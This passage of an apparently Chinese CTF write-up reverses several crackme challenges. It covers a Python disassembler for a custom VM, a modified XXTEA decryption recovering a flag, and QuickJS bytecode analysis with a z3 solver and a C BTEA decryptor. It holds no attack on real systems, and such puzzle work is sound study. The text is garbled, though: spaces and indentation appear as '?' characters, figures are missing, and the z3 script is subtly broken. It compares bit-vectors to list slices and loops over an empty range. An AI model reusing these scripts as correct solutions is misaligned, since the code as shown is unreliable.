??0xF8, 0xF7, 0xF6, 0xF5, 0xF4, 0x0B, 0x00, 0xE1, 0xFF, 0xE0,
??0x0B, 0x0A, 0xFB, 0xF4, 0x0B, 0x00, 0xE2, 0xFF, 0x01, 0x00,
??0x01, 0xF5, 0xF2, 0x00, 0x09, 0x02, 0x01, 0xB2, 0xF1, 0x01,
??0x00, 0x00, 0xF1, 0xE0, 0x09, 0x05, 0xFF, 0x01, 0x09, 0x02,
??0xF8, 0xF4, 0x0A, 0x00, 0xE1, 0xF1, 0xE0, 0x0B, 0x05, 0xFF,
??0xE0, 0x0B, 0x00, 0xF6, 0xFF, 0x01, 0x0B, 0x01, 0xF6, 0xF4,
??0x0C, 0x0B, 0xE1, 0xF4, 0x0C, 0x00, 0xE2, 0xF4, 0x0A, 0x0B,
??0xE2, 0xFF, 0x01, 0x00, 0x01, 0xF5, 0xF2, 0x00, 0x09, 0x02,
??0x01, 0xD7]
r =?[0]*17
mem =?[0x123,0x234,0x345,0x456]
# print(r)
while?True:
????v4 =?r[16]
????r[16] =?v4+1
????result =?opcode[v4]-0xF1
????if?result ==?0:
????????v1 =?r[16]
????????v2 =?opcode[v1]
????????v3 =?opcode[v1+1]
????????print(str(v1)+':\t',end='')
????????if?v2==0xe0:
????????????r[16] =?v1+3
????????????v4 =?r[opcode[v1+2]]
????????????print(f'r[{v3}] = r[{opcode[v1+2]}]')
????????else:
????????????v4 =?0
????????????while(v2<<24):
????????????????r[16] =?v1+3
????????????????v2 -=?1
????????????????v4 =?opcode[v1+2] |?(v4<<8)
????????????????v1 +=?1
????????????print(f'r[{v3}] = {hex(v4)}')
????????r[v3] =?v4
????elif?result ==?1:
????????v1 =?r[16]
????????tmp =?v1
????????v2 =?opcode[v1]
????????v3 =?opcode[v1+1]
????????v4 =?opcode[v1+2]
????????print(str(v1)+':\t',end='')
????????if?r[v2] ==?r[v3]:
????????????v5 =?v1+3+v4
????????????print(f'jmp {v5}')
????????????if?v5==512:
????????????????for?i in?range(4):
????????????????????print(hex(mem[i]))
????????else:
????????????v5 =?0
????????????while?v4:
????????????????r[16] =?v1+4
????????????????v4 -=?1
????????????????v5 =?opcode[v1+3] |?(v5<<8)
????????????????v1 +=?1
????????????print(f'if r[{v2}] != r[{v3}]: jmp {v5}')
????????r[16] =?v5
????elif?result ==?2:
????????v1 =?r[16]
????????v2 =?opcode[v1]
????????v3 =?opcode[v1+1]
????????v4 =?r[v3]
????????v5 =?v1+4*v4
????????v6 =?0
????????for?i in?range(-4,0,1):
????????????r[16] =?v5+3
????????????v6 =?opcode[v5+2] |?v6<<8
????????????v5 +=?1
????????# v6 = opcode[v5+2]<<24 | opcode[v5+3]<<16 | opcode[v5+4]<<8 | opcode[v5+5]
????????r[16] =?v5 -?4*r[v3]+14
????????r[v2] =?v6
????????print(str(v1)+':\t'+f'r[{v2}] = {hex(v6)}???opcode[v1+4*r[opcode[v1+1]]+2]<<24 | opcode[v1+4*r[opcode[v1+1]]+3]<<16 | opcode[v1+4*r[opcode[v1+1]]+4]<<8 | opcode[v1+4*r[opcode[v1+1]]+5]')
????elif?result ==?3:
????????v2 =?r[16]
????????v3 =?opcode[v2]
????????v4 =?opcode[v2+1]
????????v5 =?r[v4]
????????r[16] =?v2+3
????????if?opcode[v2+2]==0xe2:
????????????mem[v5] =?r[v3]
????????????print(str(v2)+':\t'+f'mem[{v5}] = r[{v3}]')
????????else:
????????????r[v3] =?mem[v5]
????????????print(str(v2)+':\t'+f'r[{v3}] = mem[{v5}]')
????elif?result ==?13:
????????print(str(r[16])+':\treturn')
????elif?result ==?14:
????????v1 =?r[16]
????????v3 =?v1+2
????????v4 =?opcode[v1]
????????v5 =?opcode[v1+1]
????????if?v4 ==?0xe0:
????????????v6 =?v1+3
????????????r[16] =?v1+3
????????????v7 =?r[opcode[v1+2]]
????????????s =?f'r[{opcode[v1+2]}]'
????????else:
????????????v7 =?0
????????????while(v4<<24):
????????????????r[16] =?v3+1
????????????????v4 -=?1
????????????????v7 =?opcode[v3] |?(v7<<8)
????????????????v3 +=?1
????????????s =?hex(v7)
????????????v6 =?v3
????????r[16] =?v6+1
????????res =?opcode[v6]-0xff-1
????????if?res ==?-11:
????????????r[v5] =?(r[v5] +v7)&0xffffffff
????????????print(str(v1)+':\t'+f'r[{v5}] += '+s)
????????elif?res ==?-10:
????????????r[v5] =?(r[v5] -?v7) &0xffffffff
????????????print(str(v1)+':\t'+f'r[{v5}] -= '+s)
????????elif?res ==?-9:
????????????r[v5] *=?v7
????????????print(str(v1)+':\t'+f'r[{v5}] *= '+s)
????????elif?res ==?-8:
????????????r[v5] //=?v7
????????????print(str(v1)+':\t'+f'r[{v5}] //= '+s)
????????elif?res ==?-7:
????????????r[v5] <<=?v7
????????????print(str(v1)+':\t'+f'r[{v5}] <<= '+s)
????????elif?res ==?-6:
????????????r[v5] >>=?v7
????????????print(str(v1)+':\t'+f'r[{v5}] >>= '+s)
????????elif?res ==?-5:
????????????r[v5] ^=?v7
????????????print(str(v1)+':\t'+f'r[{v5}] ^= '+s)
????????elif?res ==?-4:
????????????r[v5] |=?v7
????????????print(str(v1)+':\t'+f'r[{v5}] |= '+s)
????????elif?res ==?-3:
????????????r[v5] &=?v7
????????????print(str(v1)+':\t'+f'r[{v5}] &= '+s)
????????else:
????????????print(str(v1)+':\t'+'wrong2')
????else:
????????print(str(r[16])+':\t'+'wrong')（其中mem即为输入，手动代了几个数字方便调试）
按照流程，打印出7000+行代码，大致观察发现有明显的xxtea的特征，delta=0xf4f3f2f1，循环64轮，key=[0xf1f2f3f4,0xf5f6f7f8,0xf9fafbfc,0xfdfefff0]
?
解密无果，猜测有魔改，结果在开头和结尾又发现了一些加密。
开头将输入调换位置
?
结尾异或0xf8f7f6f5并调换位置
?
解密脚本
a =?[0x55D37604, 0xB5FFA19E, 0xC202F734, 0x963BE91F]
for?i in?range(4):
????a[i] ^=?0xf8f7f6f5
t =?a[3]
a[3] =?a[0]
a[0] =?t
t =?a[1]
a[1] =?a[2]
a[2] =?t
a2 =?[0xf1f2f3f4,0xf5f6f7f8,0xf9fafbfc,0xfdfefff0]
v5 =?0xf4f3f2f1
# n = 52//len(a) + 6
v8 =?v5*64
v9 =?a[len(a)-1]
for?i in?range(64):
????j =?len(a)-2
????v9 =?a[j]
????v6 =?(v8>>2) &?3
????a[len(a)-1] =?(a[len(a)-1] -?(((v9 ^?a2[v6 ^?((j+1) &?3)]) +?(a[0] ^?v8)) ^?(((16?*?v9) ^?(a[0] >>?3)) +?((4?*?a[0]) ^?(v9 >>?5))))) &?0xffffffff
????while(j>0):
????????v9 =?a[j-1]
????????a[j] =?(a[j] -?(((v9 ^?a2[v6 ^?(j &?3)]) +?(a[j+1] ^?v8)) ^?(((16?*?v9) ^?(a[j+1] >>?3)) +?((4?*?a[j+1]) ^?(v9 >>?5))))) &?0xffffffff
????????j -=?1
????v9 =?a[len(a)-1]
????a[0] =?(a[0] -?(((v9 ^?a2[v6 ^?(j &?3)]) +?(a[j+1] ^?v8)) ^?(((16?*?v9) ^?(a[j+1] >>?3)) +?((4?*?a[j+1]) ^?(v9 >>?5))))) &?0xffffffff
????v8 -=?v5
for?i in?[3,0,1,2]: ??????????????????????????????print(chr(a[i]>>24&0xff),chr(a[i]>>16&0xff),chr(a[i]>>8&0xff),chr(a[i]&0xff),end='',sep='')
# 1t_i5_3z_i5nt_iteasyjs
quickjs,下载源码编译输出字节码，具体参考[推荐]看雪·安恒 2020 KCTF 春季赛 | 第三题设计思路及解析-CTF对抗-看雪论坛-安全社区|安全招聘|bbs.pediy.com
字节码中首先观察到了初始化一些常量函数以及字符串
可以很明显的看到一个大小写互换的base64表
?
得到字节码开始分析eval函数，这个相当于正常的main函数
?
这里的意思应该是encode64（enc1（））的意思，所以先调用enc1，然后再调用encode64
enc1里面就是一个BTEA delta mx key都很容易知道，上网上扒一个代码实现就行了
后面是一个错位异或，
?
最后调用了func5 func6函数 func5函数是一个转大整数的方法，
?
func6里面主要是一堆的逻辑运算，然后与已知量比较，
?
将data3 15个数字分为三组，然后进行比较，拿z3解一下
总结一下就是先逆出来逻辑运算、然后是异或、base64、BTEA写脚本解就行了
from?base64 import?b64decode, b64encode
from?z3 import?*
data3 =?[5911837666743816200,
5133585975960501272,
9082418069800623372,
9154480062992383756,
6848599583376686600,
147787617043219975,
6140429622497212985,
2526269866358605591,
4552892036882908959,
4543304157965338119,
4620825451554930944,
8808899373961281307,
5924901230665995531,
8808899373961281307,
8662527953563041043]
data4 =?[2101524238053948931,
9154814254531429383,
8941618984500083987]
data =?[]
for?i in?range(3):
????data5 =?[BitVec("x%d"?%?i, 64) for?i in?range(4)]
????x =?data5[0]
????y =?data5[1]
????z =?data5[2]
????w =?data5[3]
????a =?~x &?z
????b =?(z &?~x |?(x&y) |?(z &?(~y)) |?(x &?(~y)) ) ^?w
????c =?(z &?~y &?x)|?(z &?((x &?y) |?(y &?(~x)) |?~(y |?x)))
????d =?(z &?~x) |?(x &?y) |?(z &?~y) |?(x &?~y)
????e =?(z &?~x) |?(x&y) |?(y&z)
????s =?Solver()
????s.add(a ==?data3[i*5:i*5+5])
????s.add(b ==?data3[i*5:i*5+5])
????s.add(c ==?data3[i*5:i*5+5])
????s.add(d ==?data3[i*5:i*5+5])
????s.add(e ==?data3[i*5:i*5+5])
????s.add(y ==?data3[i*5:i*5+5])
????s.check()
????m =?s.model()
????res =?[]
????for?i in?data5:
????????res.append(int(str(m[i])))
????#print(res)
????
????aa =?[]
????for?r in?res:
????????k =?[]
????????for?i in?range(8):
????????????k.append(r &?0xff)
????????????r >>=?8
????????aa +=?k
????data +=?aa
n =?len(data)
data[-1] =?data[-1]^data[1]
data[-2] =?data[-2]^data[0]
for?i in?range(n-3, -1)[::-1]:
????data[i] ^=?data[i+2]
print(bytes(data))
#include <iostream>
#include <stdio.h>
?
using namespace std;
?
#include <stdint.h>
#define DELTA 289739796
#define MX (((z >> 6) ^ (y << 3)) + ((y >> 4) ^ (z << 5)) ^ ((sum^y) + (secret[(p&3)^e] ^ z))) ?
?
??void btea(uint32_t *vector, int?n, uint32_t const secret[4]) {
????uint32_t y, z, sum;
????unsigned p, rounds, e;
????if?(n >?1) { ?????????
??????rounds =?6?+?52/n;
??????sum?=?0;
??????z =?vector[n-1];
??????do {
????????sum?+=?DELTA;
????????e =?(sum?>>?2) &?3;
????????for?(p=0;?p<n-1;?p++) {
??????????y =?vector[p+1];
??????????z =?vector[p] +=?MX;
????????}
????????y =?vector[0];
????????z =?vector[n-1] +=?MX;
??????} while?(--rounds);
????} else?if?(n <?-1) { ?
??????n =?-n;
??????rounds =?6?+?52/n;
??????sum?=?rounds*DELTA;
??????y =?vector[0];
??????do {
????????e =?(sum?>>?2) &?3;
????????for?(p=n-1;?p>0;?p--) {
??????????z =?vector[p-1];
??????????y =?vector[p] -=?MX;
????????}
????????z =?vector[n-1];
????????y =?vector[0] -=?MX;
??????} while?((sum?-=?DELTA) !=?0);
????}
??}
?
int?main()
{
????char secret[17] =?"welcometoycb2022";
????uint8_t buf[] =?{50, 145, 242, 166, 198, 128, 32, 9, 222, 204, 87, 158, 160, 147, 155, 82, 71, 9, 38, 246, 0, 88, 185, 225, 62, 226, 31, 171, 199, 245, 106, 31};
????btea((uint32_t*)buf,-8,(uint32_t*)secret);
????for(int?j=0;j<32;j++)
????????printf("%c",buf[j]);
????return?0;
}